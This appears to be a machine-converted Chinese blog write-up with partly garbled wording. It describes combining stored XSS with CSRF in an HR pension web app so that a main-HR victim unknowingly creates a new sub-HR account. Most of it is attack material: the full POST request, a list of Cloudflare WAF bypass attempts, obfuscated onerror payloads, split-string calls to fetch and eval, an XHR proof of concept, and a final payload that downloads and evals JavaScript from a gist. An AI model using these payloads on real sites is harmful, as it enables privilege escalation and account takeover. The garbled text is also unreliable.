我們測試的時候經常遇到img标簽可以識别、但是但是彈窗屬性被攔截的死死的、就是隻能做到<img src="1">、這時候就可以img标簽+csrf 組合拳攻擊
關于目标
此應用程式是為人力資源部門建構的,用于管理者工的養老金。員工自己無權通路該應用程式。唯一的授權差異發生在主 HR 帳戶和子 HR 帳戶之間。
2 Sub-HR 帳戶存在權限級别。
1. 隻讀通路
2. 标準通路
具有标準通路權限的子 HR 帳戶可以建立、編輯、删除員工記錄。但是,它不能建立新的子 HR 帳戶。僅允許主 HR 帳戶這樣做。
是以,在我們的攻擊場景中,我們有一個子 HR 帳戶。我們會将員工姓名編輯為将存儲的 XSS 有效負載。我們的受害者,一個主 HR 帳戶通路
Income Decl.
導緻我們的有效負載執行的頁籤。它
POST
請求
/hrusers/add
建立新的子 HR 帳戶。
這裡是執行 XSS 的頁面。有關公司的資訊将根據他們的要求進行編輯。
漏洞利用
POST /hrusers/add
最初看起來像這樣的核心(删除了一些标題以增加可讀性):
POST /hrusers/add HTTP/1.1 Host: www.app.tld Cookie: auth=secret; Content-Length: 976 Origin: https://www.app.tld Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6g Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.app.tld/ Connection: close ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="_method" POST ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][first_name]" john ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][last_name]" doe ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][email_address]" [email protected] ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][username]" ne555-blog ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][password]" testpass123! ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][conf_password]" testpass123! ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][role_type]" ------WebKitFormBoundarycItg8YvLxAC5Af6g--
302 Found
請求成功後傳回。
Bypass CloudFlare
1.我嘗試的第一件事是使用
script
标簽,但它被 cloudflare 阻止了。
2.我試圖繞過解析但是沒有什麼好的結果。是以我需要在事件處理程式中建構有效負載。
3. 我試圖建立一個
XMLHttpRequest
. 但是,它也被阻止了。
<img src=x onerror="poc = new XMLHttpRequest()">
4. 在制作了幾個payload之後,我意識到這種利用并不像我想象的那麼容易。CSP 規則允許我從任何域中擷取資料。是以,如果我将惡意 javascript 存儲在其他地方并在運作時将其拉取,WAF 将無法檢測到它。
5.
fetch()
被屏蔽了。是以我開始尋找一種以某種方式對其進行編碼的方法。我想使用aurebesh.js[https://aem1k.com/aurebesh.js/]很長時間了。這似乎是一個很好的用例。這是完整的有效載荷:
<img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()">
6. WAF 沒有阻止它并彈出警報。也許我可以這樣編碼
fetch()
。我嘗試了 jsfuck.com[http://www.jsfuck.com/],但 WAF 阻止了我的有效載荷。這很奇怪。也許我可以編寫自己的aurebesh.js[https://aem1k.com/aurebesh.js/]版本,讓我可以将任何字母用于任何代碼。
7. 經過一段時間的研究,我發現我的 JS 知識遠遠低于标準。我需要找到其他方法來繞過這個 WAF。
8. PayloadsAllTheThings[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection] repo 真的很有幫助,我發現
top["al"+"ert"](1);
有效載荷确實有效。我可以潛入這樣的危險功能。
9. 如果我可以
multipart/form-data
請求
application/x-www-form-urlencoded
,
POST /hrusers/add
我就不必處理邊界問題。盡管 Burp Suite 的
change body encoding
功能和伺服器接受了請求,但我還是這樣做了。
10. 我用下面的代碼建立了一個建立使用者的POC。
body = `_method=POST&data%5bUser%5d%5bfirst_name%5d=john&data%5bUser%5d%5blast_name%5d=doe&data%5bUser%5d%5bemail_address%5d=ne555%[email protected]&data%5bUser%5d%5busername%5d=ne555-blog&data%5bUser%5d%5bpassword%5d=testpass123%21&data%5bUser%5d%5bconf_password%5d=testpass123%21&data%5bUser%5d%5brole_type%5d=0`; poc = new XMLHttpRequest(); poc.open(`POST`,`/hrusers/add`, true); poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`); poc.withCredentials = true; poc.send(body);
11. 現在我必須擷取這個 javascript 并使用
eval()
. 有效負載建立是有問題的,因為它位于事件處理程式内部并且由許多層組成。gist 中的所有字元串都必須使用撇号建立。
12.最終的利用POC:
<img src="x" onerror="top[`fet`+`ch`]('https://gist.githubusercontent.com/Hubbey/84d413e76dd833b42eb0281b9d7191fa/raw/e08425e18d85b10e82dc6ba4bc25b0df08321000/blog').then(response =>response.text()).then((body) =>{top[`ev`+`al`](body);})">
13. 現在,當受害者通路該頁面時,會建立一個新的子 HR 帳戶。